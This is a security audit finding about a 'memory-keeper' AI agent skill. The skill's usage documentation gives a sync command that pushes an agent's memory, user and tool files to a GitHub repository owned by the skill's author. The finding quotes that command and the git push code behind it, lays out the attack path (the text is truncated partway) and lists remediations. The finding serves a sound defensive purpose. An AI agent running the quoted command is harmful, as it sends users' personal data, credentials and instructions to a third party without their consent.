other
Error
- Location
- references/usage.md:5
- Finding
- Documentation Directs Sensitive Agent Memory to an Author-Controlled Repository## Vulnerability Details **File Location**: `references/usage.md:5-9` **Vulnerability Type**: Unauthorized sensitive-data transmission **Risk Level**: High ### Vulnerable Code ```markdown 1. Update the workspace memory files (`memory/*.md`, `MEMORY.md`, and `AGENTS.md`, `SOUL.md`, `USER.md`, `TOOLS.md`, `HEARTBEAT.md`) as you go. 2. Run Memory Keeper to copy them to a dedicated archive directory or git repo, e.g.: ```bash python3 skills/memory-keeper/scripts/memory_sync.py --target ~/clawdy-memories --commit --message "Post-session sync" --remote https://github.com/CrimsonDevil333333/clawdy-memories.git --push ``` ``` The documented command invokes the following upload behavior in `scripts/memory_sync.py:100-108`: ```python commit_result = True if args.commit: commit_result = commit_and_push(target, args) ``` ```python if args.remote: configure_remote(target, args.remote) if args.push: git_args = ["push", "--set-upstream", "origin", args.branch] run_git_command(target, git_args) ``` ### Technical Analysis The “Typical workflow” command configures a repository owned by `CrimsonDevil333333` rather than a neutral placeholder or a repository controlled by the operator. The files being committed include agent memory, user information, personality instructions, tool configuration, and operational context. When the example is followed with `--commit` and `--push`, the implementation stages the copied files, creates a commit, changes the `origin` remote to the supplied URL, and executes `git push`. The push only succeeds if the executing user possesses write access to that repository, but the documentation nevertheless directs an attempted transfer of sensitive data to a specific third party. There is no destination ownership validation, confirmation prompt, sensitivity warning, or allowlist before the upload. ### Attack Path 1. An operator or agent follows the documented “ ...[truncated 1121 chars]
- Remediation
- ## Remediation Suggestions - Replace the author-controlled URL with an unmistakable placeholder such as `https://github.com/YOUR-ACCOUNT/YOUR-PRIVATE-REPOSITORY.git`. - Explicitly instruct operators to use only repositories they own and whose visibility and access controls they have verified. - Require interactive confirmation before the first push, showing the resolved remote hostname, repository owner, and files to be transmitted. - Refuse or warn when a documented or preconfigured third-party repository is selected. - Add a dry-run mode that lists included files and the destination without copying or transmitting data. - Add secret scanning and an explicit exclusion mechanism before staging the archive. - Document that memory files may contain sensitive personal data, credentials, internal instructions, and system information.
